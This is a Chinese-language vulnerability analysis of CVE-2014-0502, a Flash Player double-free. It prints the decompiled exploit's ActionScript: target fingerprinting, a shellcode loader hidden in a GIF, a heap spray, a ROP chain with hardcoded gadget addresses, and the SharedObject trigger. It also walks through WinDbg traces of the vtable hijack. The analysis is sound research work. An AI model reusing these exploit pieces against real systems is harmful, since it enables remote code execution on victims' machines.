-
-
[原创]全网最详细CVE-2014-0502 Adobe Flash Player双重释放漏洞分析
-
2021-10-14 15:51 21789
-
1. 前言
这次分析了CVE-2014-0502 Adobe Flash Player中的双重释放漏洞。文章的前半部分是Action Script代码的静态分析以及对于漏洞利用原理的一个初步分析,AS代码分析和书中内容重合,漏洞利用原理的初步分析涉及到了Adobe Flash Player的一些操作机制,通过搜索查看网上的资料完成了前半部分的内容;
后半部分集中在漏洞的动态调试上,目标是为了确定该漏洞在内存操作上的利用原理。由于双重释放的内存并不在堆中,而且没有在网上找到相关数据结构的资料,对于漏洞本身,网上能够找到的分析文章也并不深入(最详细的就是参考资料3了),因此分析过程并不顺利。最终通过断点调试、内存数据分析以及IDA静态代码的分析,得到了一个猜想上的结论(或许是关键字的原因,我并没有找到相关内存机制的资料)。
2. 静态代码分析
根据书中的描述,攻击者利用该漏洞构造了一个swf文件,并将文件嵌入网页中诱导用户访问,实现漏洞利用。之前分析过CVE-2011-2110,是Adobe Flash Player中的数组越界访问漏洞,使用了JPEXS Free Flash Decompiler工具对swf文件进行反编译,这次使用同样的方法。在书籍配套资料中提供了构造好的swf文件cc.swf,拖入工具中查看反编译结果。
自动生成的反编译结果中有很多特殊字符,因此我根据每个函数或变量的功能对其名称进行了修改。
2.1 辅助函数分析
首先对代码中几个子功能辅助函数进行分析:
2.1.1 系统环境判断函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | public function detect_sys() : int { var version: * = null; var VerInt:Number = NaN; var os:String = Capabilities.os.toLowerCase(); var language:String = Capabilities.language.toLowerCase(); / / 如果是xp系统,根据语言不同得到不同返回值 if (os = = "windows xp" ) { if (language = = "zh-cn" ) { return 1 ; } if (language = = "en" ) { return 2 ; } if (language = = "zh-tw" ) { return 3 ; } return 0 ; } / / 如果是win7系统,会执行checkversion()函数 if (os = = "windows 7" ) { ExternalInterface.call( "eval" , "function checkversion(){ var result; var ua=window.navigator.userAgent.toLowerCase(); var temp=ua.replace(/ /g,\"\"); { if(temp.indexOf(\"nt6.1\")>-1&&temp.indexOf(\"msie\")>-1&&temp.indexOf(\"msie10.0\")==-1) { var java6=0; var java7=0; var a=0; var b=0; try { java6=new ActiveXObject(\"JavaWebStart.isInstalled.1.6.0.0\"); } catch(e){} try { java7=new ActiveXObject(\"JavaWebStart.isInstalled.1.7.0.0\"); } catch(e){} if(java6&&!java7) { return \"16\"; } try { a=new ActiveXObject(\"SharePoint.OpenDocuments.4\"); } catch(e){} try { b=new ActiveXObject(\"SharePoint.OpenDocuments.3\"); } catch(e){} if((typeof a)==\"object\"&&(typeof b)==\"object\") { try { location.href = \'ms-help://\' }catch(e){}; return \"10\"; } else if((typeof a)==\"number\"&&(typeof b)==\"object\") { try { location.href = \'ms-help://\' }catch(e){}; return \"07\"; } } } return \"0\";}" ); version = ExternalInterface.call( "eval" , "checkversion()" ); trace(version); return Number(parseInt(version, 10 )); } return 0 ; } |
从代码可以看出这个漏洞利用代码针对的是xp系统中的中文版、中国台湾版以及英文版,win7系统会进一步执行checkversion()
函数,该函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | function checkversion() { var result; var ua = window.navigator.userAgent.toLowerCase(); var temp = ua.replace( / / g, ""); { if (temp.indexOf( "nt6.1" ) > - 1 && temp.indexOf( "msie" ) > - 1 && temp.indexOf( "msie10.0" ) = = - 1 ) { var java6 = 0 ; var java7 = 0 ; var a = 0 ; var b = 0 ; try { java6 = new ActiveXObject( "JavaWebStart.isInstalled.1.6.0.0" ); } catch(e) {} try { java7 = new ActiveXObject( "JavaWebStart.isInstalled.1.7.0.0" ); } catch(e) {} / / 如果安装了java1. 6 ,且未安装java1. 7 ,返回 16 if (java6 && !java7) { return "16" ; } try { a = new ActiveXObject( "SharePoint.OpenDocuments.4" ); } catch(e) {} try { b = new ActiveXObject( "SharePoint.OpenDocuments.3" ); } catch(e) {} / / 安装了office 2010 if ((typeof a) = = "object" && (typeof b) = = "object" ) { try { location.href = 'ms-help://' } catch(e) {}; return "10" ; / / 安装了office 2007 } else if ((typeof a) = = "number" && (typeof b) = = "object" ) { try { location.href = 'ms-help://' } catch(e) {}; return "07" ; } } } return "0" ; } |
2.1.2 事件监听函数
这个函数用于在图片加载完成后执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | public function listener(e:Event) : void { var bytes:ByteArray = new ByteArray(); / / bytes的内容为logo.gif数据 bytes.writeBytes(e.target.data as ByteArray, 0 ,(e.target.data as ByteArray).length); bytes.position = bytes.length - 4 ; bytes.endian = "littleEndian" ; var len :uint = bytes.readUnsignedInt(); / / 最后四个字节是shellcode长度 var shellbytes:ByteArray = new ByteArray(); / / 读取shellcode内容 shellbytes.writeBytes(bytes,bytes.length - 4 - len , len ); shellbytes.position = 0 ; / / 设置共享变量mpsc为shellcode内容 worker.setSharedProperty( "mpsc" ,shellbytes); worker.start(); } |
通过该函数可以看到shellcode的内容就保存在要加载的图片中,其中最后四个字节保存的是shellcode的长度,根据该数据前向读取,获得shellcode的内容放入mpsc属性中。
2.1.3 设置cookie值
为了便于判断之前是否进行过漏洞利用,程序设置了cookie值XPT20131111:
1 2 3 4 5 | public function cookie_func() : * { ExternalInterface.call( "eval" , "function setcookie(){var Then = new Date(); Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );document.cookie = \"Cookie1=XPT20131111; expires=\"+ Then.toGMTString();}function CanIFuck(){var cookieString = new String(document.cookie);if(cookieString.indexOf(\"XPT20131111\") == -1){setcookie(); return 1;}else{ return 0;}}" ); var ret:String = ExternalInterface.call( "eval" , "CanIFuck()" ); return parseInt(ret, 10 ); } |
里面的代码内容整理后得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | function setcookie() { var Then = new Date(); Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 ); document.cookie = "Cookie1=XPT20131111; expires=" + Then.toGMTString(); } function CanIFuck() { var cookieString = new String(document.cookie); if (cookieString.indexOf( "XPT20131111" ) = = - 1 ) { setcookie(); return 1 ; } else { return 0 ; } } |
2.1.4 堆喷射函数
堆喷射函数使用提供的参数构造一个大小为1MB的字节数组:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | public static function heap_spray(val: * ) : * { var temp: * = null; bytes = new ByteArray(); bytes.writeBytes(val); / / 成倍扩大bytes数组到 1MB while (bytes.length < 0x100000 ) { temp = new ByteArray(); temp.writeBytes(bytes); bytes.writeBytes(temp); } } public static function heap_spray_func(val: * , size: * ) : * { if (null = = bytes_array) { bytes_array = []; } t = size; heap_spray(val); } |
2.1.5 漏洞利用准备函数
1 2 3 4 5 6 7 8 9 | public function gen_exp() : void { var exp:String = "AAAA" ; while (exp.length < 102400 ) { exp + = exp; } var sobj:SharedObject = SharedObject.getLocal( "record" ); sobj.data.logs = exp; } |
这个函数创建了一个共享对象record
2.2 主函数分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 | public function cc() { var loader: * = null; var shellbytes: * = null; var val: * = null; var j: * = undefined; var i: * = undefined; var block1: * = null; i = undefined; var block: * = null; var rop: * = null; str = new String(); super (); if (Worker.current.isPrimordial) { / / primordial worker / / 检查是否设置了cookie值XPT20131111,未设置则继续执行,否则返回 if (cookie_func() = = 0 ) { return ; } sys = detect_sys(); / / 检查系统环境 if (sys = = 0 ) { / / 系统为xp,且语言非中文、中国台湾、英文,则返回 return ; } loader = new URLLoader(); loader.dataFormat = "binary" ; / / 完成加载后执行listener函数 / / listener函数用于读取logo.gif中保存的shellcode loader.addEventListener( "complete" ,listener); loader.load(new URLRequest( "logo.gif" )); / / 加载图片logo.gif / / 创建background worker worker = WorkerDomain.current.createWorker(loaderInfo.bytes); worker.setSharedProperty( "version" ,sys); } else { / / background worker入口点 sys = Worker.current.getSharedProperty( "version" ); shellbytes = Worker.current.getSharedProperty( "mpsc" ); val = new ByteArray(); val.endian = "littleEndian" ; var sc_len:uint = 0 ; / / 构造大小为 32KB ,包含shellcode的基础数据 for (i = 0 ; i < 0xc0c ; ) { val.writeByte( 0x90 + i); i + + ; } val.writeBytes(shellbytes); for (i = val.length; i < 0x10000 ; ) { val.writeByte( 0x90 + i); i + + ; } / / 通过堆喷射函数扩展数据到 1MB heap_spray_func(val, 0xFFFDC ); / / 继续堆喷射,构造约 224MB 的数据 block1 = new ByteArray(); block1.writeBytes(bytes, 0 , 0xFFFDC ); bytes_array.push(block1); bytes = null; for (i = 0 ; i < 0xe0 ; ) { block = new ByteArray(); block.writeBytes(block1, 0 , 0xFFFDC ); bytes_array.push(block); i + + ; } / / 漏洞利用准备,创建共享对象record gen_exp(); / / 根据不同系统环境构造不同rop if (sys = = 7 ) { rop = gen_rop3(); rop.toString(); } else if (sys = = 10 ) { rop = gen_rop2(); rop.toString(); } else if (sys = = 16 ) { rop = gen_rop(); rop.toString(); } else if (sys = = 1 || sys = = 2 || sys = = 3 ) { rop = gen_rop4(); rop.toString(); } Worker.current.terminate(); / / 结束当前进程,会释放共享对象record } } |
2.3 漏洞利用原理初步分析
以上的代码分析只是对整个漏洞利用流程有一个初步的了解,但是对于问题的根源——漏洞利用原理,仍然不甚清楚。
为了理解为什么上面的代码会触发双重释放漏洞,需要对Action Script有一定的了解,为此我查看了一下Action Script的手册(参考资料1)。
2.3.1 Worker的概念
AS通过Worker的实现了线程同步的概念,每个worker在一个单独的线程中执行它的代码。创建Worker对象不需要调用Worker()
构造函数,在支持Worker同步的环境下,程序一开始会自动为主SWF创建一个Worker,即上面代码中提到的primordial worker。
如果想要创建其他的worker,有很多种方法,具体可以参考手册中的内容。而上面代码中的写法就是其中的一种方法,使用同一swf文件同时作为primordial worker和background worker,通过条件判断的方式判断当前是哪个worker。
每个worker都独立执行,它们有不同的内存空间、变量和代码,但是可以使用共享属性(Shared properties)、MessageChannel
以及可共享的ByteArray
进行通信。
2.3.2 SharedObject的概念
SharedObject可以用于在本地及远程读取和保存有限数量的数据。在此次的程序代码中,使用SharedObject.getLocal("record");
创建了一个叫做record
的本地共享对象。
根据手册中的说法,共享对象会在以下几种情况下进行flush,即写入本地文件的操作:
- 直接调用
flush()
函数 - 共享对象的会话结束时:
- SWF文件关闭的时候
- 没有任何引用进行垃圾回收的时候
- 调用
SharedObject.clear()
或者SharedObject.close()
2.3.3 触发双重释放的原因
在background worker的代码中,调用了gen_exp()
函数,在该函数中,通过var sobj:SharedObject = SharedObject.getLocal("record");
创建了record共享对象,但是函数结束之后,对于该共享对象的引用就结束了,(在后期查看资料时,根据参考资料4,此时不会发生垃圾回收,因此不会发生flush操作,但是此时共享对象已经准备好被垃圾回收了);
在background worker代码结束的位置,执行了Worker.current.terminate();
函数,这句代码直接结束了当前的worker,理论上也会导致共享对象发生flush操作(除此之外,由于worker结束,会进行垃圾回收,垃圾回收同样会导致flush操作的发生)。
更深层次的原因我在参考资料2的这篇论文中找到了,在进行flush操作的时候,AVM会进行两个检查:
- 检查对象的
pending flush
标签,确认共享对象中有数据需要写入 - 检查当前域的最大允许存储空间
如果设置了pending flush标签,而且数据大小没有超过最大允许存储空间的范围,就会进行flush操作,并且重置标签;如果没有足够的空间,flush操作不会成功,标签也不会重置。
根据我们上面的分析,代码中理论上可以发生针对同一共享对象的两次flush操作,而这个record共享对象的大小超过了空间限制。
参考资料2中的描述其实援引自参考资料3,这里面说,当没有足够空间的时候,虽然flush操作没有成功,但是符合空间要求的那部分数据已经进行了写入并进行了空间释放,但是由于flush没成功,pending flush
的标签没有重置,这也就允许了第二次flush的发生,从而导致了双重释放。
以上,通过对代码的静态分析,我们得出了一个理论上的双重释放漏洞利用原理分析。接下来还是使用分析CVE-2011-2110的方法,对这个代码进行一个动态的分析调试,从而确认以上理论结果的正确性。
3. 漏洞的动态调试分析
注:不知道是不是环境的问题,我在调试过程中得到的输出结果和书中的大为不同,因此分析步骤也有所差异
3.1 确定ROP进入位置
3.1.1 初步定位
环境搭建:
服务器:Windows 7 sp0 64bits, 192.168.6.198
客户端:Windows XP sp3, IE 6.0.2900, flashplayer11_7r700_261_winax_debug.exe, 192.168.6.209
使用phpstudy在服务端安装好相应的服务,将cc.swf和logo.gif放在根目录,然后在客户端打开IE并使用windbg附加,访问192.168.6.198/cc.swf,程序中断:
1 2 3 4 5 6 7 8 | (ac0.ff0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax = 02aa4290 ebx = 00000000 ecx = 02aa41c0 edx = 00000320 esi = 02aa41c0 edi = 0394fa1c eip = 77bf200d esp = 0394fa18 ebp = 0394fa44 iopl = 0 ov up ei pl nz na pe cy cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00010a07 MSACM32_77be0000!_pRawDllMain <PERF> (MSACM32_77be0000 + 0x1200d ): 77bf200d 000500030000 add byte ptr ds:[ 300h ],al ds: 0023 : 00000300 = ?? |
这个中断的位置比较奇怪,看起来是在一个DLL的内部,所以很容易想到可能是中断在了ROP的执行过程中,由于环境问题,硬编码在程序中的地址出现了问题。
因为现在是XP的环境,根据上面静态分析可知,在简体中文版XP环境时,detect_sys
函数返回值应该是1。看一下此时用于生成ROP的函数gen_rop4()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | public function gen_rop4() : ByteArray { var baseaddr: int = 0 ; var i: * = undefined; if (sys = = 1 ) { baseaddr = 2008940544 ; / / 77be0000 简体中文版 } else if (sys = = 2 ) { baseaddr = 2009137152 ; / / 77c10000 } else if (sys = = 3 ) { baseaddr = 2008940544 ; / / 77be0000 } var rop:ByteArray = new ByteArray(); rop.endian = "littleEndian" ; rop.writeMultiByte( "FILL" , "iso-8859-1" ); rop.writeUnsignedInt( 171922 + baseaddr); / / 77C09F92 rop.writeUnsignedInt( 71891 + baseaddr); / / 77BF18D3 rop.writeUnsignedInt( 156885 + baseaddr); / / 77C064D5 rop.writeUnsignedInt( 156885 + baseaddr); / / 77C064D5 rop.writeUnsignedInt( 0xe0913 + baseaddr); / / 77CC0913 rop.writeUnsignedInt( 513 ); / / 201 rop.writeUnsignedInt( 248825 + baseaddr); / / 77C1CBF9 rop.writeUnsignedInt( 64 ); ... rop.writeUnsignedInt( 2425411327 ); for (i = rop.length; i < 204 ; ) { rop.writeByte( 0x90 ); i + + ; } return rop; } |
中断的地址77bf200d
距离77BF18D3
蛮近的,但是也不确定是不是就是这里出现的问题。
看一下函数调用流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | 0 : 019 > kb ChildEBP RetAddr Args to Child 0394fa44 10101815 00000000 00000000 00000000 MSACM32_77be0000!_pRawDllMain <PERF> (MSACM32_77be0000 + 0x1200d ) WARNING: Stack unwind information not available. Following frames may be wrong. 0394fa70 10103075 00000000 02a563b0 02aa41c0 Flash32_11_7_700_261 + 0x101815 0394faf8 102dff93 02aa41c0 102e0063 02aa41c0 Flash32_11_7_700_261 + 0x103075 0394fb00 102e0063 02aa41c0 100fe0fd 00000000 Flash32_11_7_700_261!DllUnregisterServer + 0xed29a 0394fb08 100fe0fd 00000000 031b2000 00000000 Flash32_11_7_700_261!DllUnregisterServer + 0xed36a 0394fb1c 1015e803 7c809832 031b2000 031b2000 Flash32_11_7_700_261 + 0xfe0fd 0394fb6c 10210898 00000001 7c809832 031b2000 Flash32_11_7_700_261 + 0x15e803 0394fb80 10210e84 02c2d000 10210ebc 0394ff18 Flash32_11_7_700_261!DllUnregisterServer + 0x1db9f 0394fb88 10210ebc 0394ff18 1003c391 00000001 Flash32_11_7_700_261!DllUnregisterServer + 0x1e18b 0394fb90 1003c391 00000001 031b2000 032f2020 Flash32_11_7_700_261!DllUnregisterServer + 0x1e1c3 0394ff90 10629336 02a783e0 10ba9cb4 02a7d338 Flash32_11_7_700_261 + 0x3c391 00000000 00000000 00000000 00000000 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule + 0xe7ac6 |
很好,看来至少前面的函数帧都是Flash中的代码,看一下第一个函数处的代码:
1 2 3 4 5 6 7 8 9 10 | 0 : 019 > ub Flash32_11_7_700_261 + 0x101815 Flash32_11_7_700_261 + 0x101804 : 10101804 10d9 adc cl,bl 10101806 ee out dx,al 10101807 53 push ebx 10101808 51 push ecx 10101809 51 push ecx 1010180a dd1c24 fstp qword ptr [esp] 1010180d ff7508 push dword ptr [ebp + 8 ] 10101810 e821f9ffff call Flash32_11_7_700_261 + 0x101136 ( 10101136 ) |
有了这个位置之后,我们可以重新调试,在10101810
的位置下断(重命名此处调用的函数为rop_func
),然后跟进看看函数是怎么到达77bf200d
这个中断位置的。
程序中断在10101810
之后,可以建立一个快照,然后F5,发现程序在这里一共中断了4次。因此回到一开始的快照,然后中断四次后就停下来步入。
3.1.2 解决遇到的问题
但是接下来我遇到了一个问题,步入之后,程序在这个函数正常的执行,然后跳出来了Σ(っ °Д °;)っ
其实出现这个问题的原因特别特别简单,但是当时我就没想到……
为了找出问题的原因,我在IDA中打开Flash32_11_7_700_261.ocx文件,然后定位到Flash32_11_7_700_261+0x101136
这个函数,在多个跳转位置(就是IDA中标记了loc_xxxx的位置)下了断点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | 0 : 020 > bl 0 e 76b5d038 0001 ( 0001 ) 0 : * * * * WINMM!midiOutPlayNextPolyEvent / / 这个是之前调试其他问题留下的,忽略它 1 e 10101810 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x101810 2 e 10101136 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x101136 / / 函数在这里开始 3 e 10101153 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x101153 4 e 10101173 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x101173 5 e 10101199 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x101199 6 e 101011b3 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x1011b3 7 e 101011f2 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x1011f2 8 e 1010122e 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x10122e 9 e 10101261 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x101261 10 e 10101265 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x101265 11 e 1010126b 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x10126b 12 e 101012a8 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x1012a8 13 e 101012da 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x1012da 14 e 101012f3 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x1012f3 15 e 1010116e 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x10116e 16 e 10101299 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x101299 17 e 1010114c 0001 ( 0001 ) 0 : * * * * Flash32_11_7_700_261 + 0x10114c / / 函数在这里退出 |
然后不断F5,记录下中断的位置(以下不是直接输出内容,做了整理):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | Breakpoint 2 hit Breakpoint 3 hit Breakpoint 4 hit Breakpoint 5 hit Breakpoint 6 hit Breakpoint 7 hit Breakpoint 8 hit Breakpoint 10 hit Breakpoint 11 hit Breakpoint 16 hit Breakpoint 17 hit Breakpoint 5 hit Breakpoint 6 hit / / 然后就中断在异常位置了 |
注意到在程序中断在第17个断点之后,就会从该函数返回,但是之后程序又到达了函数代码处,却没有在第2个断点,即函数开始位置中断,而是直接中断在了第5个断点处。
为啥会直接执行到第5个断点这里呢?之后我又多设置了几个断点,这里不再贴出过程,总之我真的是突然灵光一闪,意识到这个函数它嵌套了!!!
当程序第一次中断在第5个断点时,看一下函数调用流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | 0 : 020 > kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 03a4f81c 10101815 00000000 00000000 00000000 Flash32_11_7_700_261 + 0x101199 03a4f848 10103075 00000000 02aa41c0 02aa41c0 Flash32_11_7_700_261 + 0x101815 03a4f8d0 102dff93 02aa41c0 102e0063 02acf1b0 Flash32_11_7_700_261 + 0x103075 03a4f8d8 102e0063 02acf1b0 1014bc69 00000000 Flash32_11_7_700_261!DllUnregisterServer + 0xed29a 03a4f8e0 1014bc69 00000000 0334d308 03bf6a80 Flash32_11_7_700_261!DllUnregisterServer + 0xed36a 03a4f910 105b68cf 03bf6a80 0369a298 00000000 Flash32_11_7_700_261 + 0x14bc69 03a4f944 1062a5e4 10b70b54 00000048 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule + 0x7505f 03a4f99c 10035c09 100e3933 00000001 03a4f9c4 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule + 0xe8d74 03a4f9a0 100e3933 00000001 03a4f9c4 100f479d Flash32_11_7_700_261 + 0x35c09 03a4f9ac 100f479d 0369a000 100b564c fffffffe Flash32_11_7_700_261 + 0xe3933 03a4f9e0 100b6339 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261 + 0xf479d 03a4f9f8 100b68ff 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261 + 0xb6339 03a4fa1c 10101196 037b9060 02a563b0 02aa41c0 Flash32_11_7_700_261 + 0xb68ff 03a4fa44 10101815 00000000 00000000 00000000 Flash32_11_7_700_261 + 0x101196 03a4fa70 10103075 00000000 02a563b0 02aa41c0 Flash32_11_7_700_261 + 0x101815 / / 看这里!!! 03a4faf8 102dff93 02aa41c0 102e0063 02aa41c0 Flash32_11_7_700_261 + 0x103075 03a4fb00 102e0063 02aa41c0 100fe0fd 00000000 Flash32_11_7_700_261!DllUnregisterServer + 0xed29a 03a4fb08 100fe0fd 00000000 0369a000 00000000 Flash32_11_7_700_261!DllUnregisterServer + 0xed36a 03a4fb1c 1015e803 7c809832 0369a000 0369a000 Flash32_11_7_700_261 + 0xfe0fd 03a4fb6c 10210898 00000001 7c809832 0369a000 Flash32_11_7_700_261 + 0x15e803 |
可以发现函数的嵌套调用。
3.1.3 继续定位
解决了这个问题之后就简单了,还是回到第五个断点处,第二次中断之后,可以继续单步,然后到达了这里:
1 2 3 4 5 6 | 0 : 020 > p eax = 02aa4290 ebx = 00000000 ecx = 02aa41c0 edx = 00000320 esi = 02aa41c0 edi = 03a4fa1c eip = 101011c2 esp = 03a4fa1c ebp = 03a4fa44 iopl = 0 nv up ei pl nz na po nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000202 Flash32_11_7_700_261 + 0x1011c2 : 101011c2 ff5008 call dword ptr [eax + 8 ] ds: 0023 : 02aa4298 = 77bf18d3 |
程序调用了[eax+8]
,也就是77bf18d3
,这就是ROP中的一个地址啊。看一下eax处的内容:
1 2 3 4 5 6 7 8 9 | 0 : 020 > dd eax 02aa4290 00000000 77c09f92 77bf18d3 77c064d5 02aa42a0 77c064d5 77c16e91 00000201 77c1cbf9 02aa42b0 00000040 77bfc343 77c305b5 77bf3b47 02aa42c0 77c09f92 77c04d9a 77bfaacc 77bf1d16 02aa42d0 77be1131 77c267f0 77c21025 0c0c08b8 02aa42e0 04c0830c 90903881 f5749090 20b8f08b 02aa42f0 8b77be11 05b56800 406a77c3 00200068 02aa4300 d0ff5600 9090d6ff 90909090 90909090 |
这里就是ROP中的内容。
所以这里就是ROP进入的位置了,接下来要确定程序是如何改变这里的数据内容的。
3.2 ROP进入位置的数据分析
现在我们知道程序会在101011c2 ff5008 call dword ptr [eax+8]
的位置跳转到ROP执行,但是这里原本的内容是什么呢?
可以回到程序第一次中断在第5个断点的时候,继续单步到达0x101011c2
的位置。
1 2 3 4 5 6 | 0 : 020 > p eax = 10c3d06c ebx = 00000000 ecx = 02aa41c0 edx = 00000320 esi = 02aa41c0 edi = 03a4f7f4 eip = 101011c2 esp = 03a4f7f4 ebp = 03a4f81c iopl = 0 nv up ei pl nz na po nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000202 Flash32_11_7_700_261 + 0x1011c2 : 101011c2 ff5008 call dword ptr [eax + 8 ] ds: 0023 : 10c3d074 = 10073c89 |
从call dword ptr [eax+8]
这种调用格式来看,这里应该是在调用对象的虚函数,所以可以看一下ecx的内容,这里通常保存了this指针
1 2 3 4 5 6 7 8 9 10 11 12 13 | 0 : 020 > ddp ecx 02aa41c0 10c3d06c 102e005b Flash32_11_7_700_261!DllUnregisterServer + 0xed362 02aa41c4 00000000 02aa41c8 0369a000 10bbbd10 Flash32_11_7_700_261!AdobeCPGetAPI + 0x3d9490 02aa41cc 02a60ee0 3239312f 02aa41d0 0000001c 02aa41d4 0000001d 02aa41d8 02a55be0 6f636572 02aa41dc 00000006 02aa41e0 00000007 02aa41e4 00000000 02aa41e8 00000000 ... |
上面的第四个值和第七个值看起来很像ASCII,所以再看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | 0 : 020 > dda ecx 02aa41c0 10c3d06c "[" 02aa41c4 00000000 02aa41c8 0369a000 "...." 02aa41cc 02a60ee0 "/192.168.6.198/record/cc.swf" 02aa41d0 0000001c 02aa41d4 0000001d 02aa41d8 02a55be0 "record" 02aa41dc 00000006 02aa41e0 00000007 02aa41e4 00000000 02aa41e8 00000000 02aa41ec 00000000 02aa41f0 00000000 02aa41f4 00000000 02aa41f8 00000000 02aa41fc 02a97290 "C:/Documents and Settings/test/Application Data/Macrome" 02aa4200 00000067 02aa4204 00000068 02aa4208 02a5eca0 "C:/Documents and Settings/test/Application Data/Macrome" 02aa420c 0000007f 02aa4210 00000080 02aa4214 00000000 02aa4218 00000000 02aa421c 00000000 02aa4220 02a7b4f0 "C:/Documents and Settings/test/Application Data/Macrome" 02aa4224 00000055 02aa4228 00000056 02aa422c 02b013a0 "C:/Documents and Settings/test/Application Data/Macrome" 02aa4230 0000006d 02aa4234 0000006e 02aa4238 00000000 02aa423c 00000000 |
上面的路径字符串没有完全打印出来:
1 2 3 4 5 6 7 8 9 10 | 0 : 020 > da 02a97290 02a97290 "C:/Documents and Settings/test/A" 02a972b0 "pplication Data/Macromedia/Flash" 02a972d0 " Player/192.168.6.198/cc.swf/rec" 02a972f0 "ord.sol" 0 : 020 > da 02a5eca0 02a5eca0 "C:/Documents and Settings/test/A" 02a5ecc0 "pplication Data/Macromedia/Flash" 02a5ece0 " Player/#SharedObjects/8285T5QE/" 02a5ed00 "192.168.6.198/cc.swf/record.sol" |
所以基本可以判断这里在对record对象进行操作,而代码中唯一和record有关的语句就是:
1 | var sobj:SharedObject = SharedObject.getLocal( "record" ); |
除了查看ecx的内容之外,注意eax的值为10c3d06c
。意外的是这个位置是可以在IDA中找到的:
1 2 3 4 5 6 7 8 9 10 11 | .rdata: 10C3D06C 5B 00 2E 10 off_10C3D06C dd offset sub_102E005B ; DATA XREF: sub_102DFF63 + 16 ↑o .rdata: 10C3D06C ; sub_102DFF85 + 3 ↑o .rdata: 10C3D070 11 30 10 10 dd offset sub_10103011 .rdata: 10C3D074 89 3C 07 10 dd offset ? Id @SchedulerBase@details@Concurrency@@UBEIXZ ; Concurrency::details::SchedulerBase:: Id (void) .rdata: 10C3D078 D9 13 2E 10 dd offset sub_102E13D9 .rdata: 10C3D07C 77 00 2E 10 dd offset sub_102E0077 .rdata: 10C3D080 44 03 2E 10 dd offset sub_102E0344 .rdata: 10C3D084 8E 04 2E 10 dd offset sub_102E048E .rdata: 10C3D088 A1 D2 1B 10 dd offset nullsub_2 .rdata: 10C3D08C C5 06 2E 10 dd offset sub_102E06C5 .rdata: 10C3D090 9B FF 2D 10 dd offset sub_102DFF9B |
所以[eax+8]
实际上应该要调用Concurrency::details::SchedulerBase::Id(void)
函数,看起来这个函数和同步有关。
接下来F5继续执行,第二次中断在第5个断点,还是单步到101011c2
的位置:
1 2 3 4 5 6 | 0 : 020 > p eax = 02aa4290 ebx = 00000000 ecx = 02aa41c0 edx = 00000320 esi = 02aa41c0 edi = 03a4fa1c eip = 101011c2 esp = 03a4fa1c ebp = 03a4fa44 iopl = 0 nv up ei pl nz na po nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000202 Flash32_11_7_700_261 + 0x1011c2 : 101011c2 ff5008 call dword ptr [eax + 8 ] ds: 0023 : 02aa4298 = 77bf18d3 |
看一下ecx处的数据(注意这里ecx的值和上一次中断的值是一样的,所以仍旧是record对象):
1 2 3 4 5 6 7 8 9 | 0 : 020 > dd ecx 02aa41c0 02aa4290 00000000 0369a000 00000000 02aa41d0 00000000 00000000 00000000 00000000 02aa41e0 00000000 00000000 00000000 00000000 02aa41f0 00000000 00000000 00000000 00000000 02aa4200 00000000 00000000 00000000 00000000 02aa4210 00000000 00000000 00000000 00000000 02aa4220 00000000 00000000 00000000 00000000 02aa4230 00000000 00000000 00000000 00000000 |
ecx处的数据都清空了,而原本存在虚函数表的位置,即首四个字节的数据改变了,原本应该是10c3d06c
,现在变成了02aa4290
。
所以现在可以确定代码是通过漏洞利用,将record对象的虚函数表指针10c3d06c
修改为了ROP所在位置02aa4290
